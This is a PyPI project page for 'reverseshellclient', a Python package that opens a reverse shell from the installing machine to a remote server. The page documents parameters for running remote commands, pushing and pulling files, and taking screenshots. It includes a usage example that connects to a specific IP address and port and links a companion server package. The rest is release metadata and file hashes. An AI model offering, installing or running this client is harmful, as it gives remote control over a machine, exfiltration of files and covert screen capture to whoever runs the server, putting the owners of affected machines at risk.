Reverse shell CLIENT for unbureaucratic server/client connections with file transfer / screenshots
Project description
Reverse shell client for unbureaucratic server/client connections with file transfer / screenshots
pip install reverseshellclient
Tested against Windows 10 / Python 3.10 / Anaconda
Connect to the server at the specified IP address and port, and perform a reverse shell client-server communication. To install the server: https://pypi.org/project/reverseshellserver/
Parameters: ipaddress (str): The IP address of the server to connect to. port (int): The port number of the server to connect to. byte_len (int, optional): The maximum size of each data chunk (in bytes) used for communication with the server. command_putfile (str, optional): The command prefix used to indicate a request from the server to send a file to the client. command_getfile (str, optional): The command prefix used to indicate a request from the server to receive a file from the client. command_screenshot (str, optional): The command that, when sent by the server, requests the client to take a screenshot and send it back as an image file. command_getcwd (str, optional): The command that, when sent by the server, requests the client to send the current working directory path. command_putfile_sep (bytes, optional): The separator used to split the 'putfile' command and the filename along with the file content. command_start (bytes, optional): The marker used to indicate the start of a command transmission. command_end (bytes, optional): The marker used to indicate the end of a command transmission. before_stdout (bytes, optional): Bytes to prepend before the standard output of the executed command in the response to the server. before_stderr (bytes, optional): Bytes to prepend before the standard error of the executed command in the response to the server.
Note: - This function connects to the server specified by 'ipaddress' and 'port'. - It performs a continuous loop of client-server communication until interrupted. - The 'before_stdout' and 'before_stderr' parameters are used to format the response to the server when executing shell commands. - The 'command_putfile', 'command_getfile', 'command_screenshot', and 'command_getcwd' prefixes are used to indicate specific actions from the server. - The 'command_putfile_sep' is used to split the 'putfile' command and the filename along with the file content. - 'command_start' and 'command_end' are used to wrap the encoded command for large data transmissions.
r"""
from reverseshellclient import connect_to_server
connect_to_server(
ipaddress="171.181.217.19",
port=12345,
byte_len=32768,
command_putfile="putfile",
command_getfile="getfile",
command_screenshot="screenshot",
command_getcwd="getcwd",
command_putfile_sep=b"FILESEP",
command_start=b"START_START_START",
command_end=b"END_END_END",
before_stdout=b"stdout:\nxxxxxxxxxxxxxxxxxx\n",
before_stderr=b"\nxxxxxxxxxxxxxxxxxx\nstderr:\n",
)
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file reverseshellclient-0.11.tar.gz
.
File metadata
- Download URL: reverseshellclient-0.11.tar.gz
- Upload date:
- Size: 5.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.10
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 77b117279846878ac3b78d5c09dc550aab38865451eed217edf1626ecaeec6e5 |
|
MD5 | e1e435635080d8c19fa894544df49345 |
|
BLAKE2b-256 | f9cf59a1b9f9c8acb16160ebecdc678346e953986adbce29304027626d3bde74 |
File details
Details for the file reverseshellclient-0.11-py3-none-any.whl
.
File metadata
- Download URL: reverseshellclient-0.11-py3-none-any.whl
- Upload date:
- Size: 7.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.10
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 5b9638e72a0953b53880fbe21ad72334c3bc94b2eeab4775c2ab8787a33ad67b |
|
MD5 | 3b79f31fc9ae7a84a5100959780561ce |
|
BLAKE2b-256 | b9c8fbd0e4be6dd048de230b3335efa766ad03e0b43cb68a51d4bd036341851b |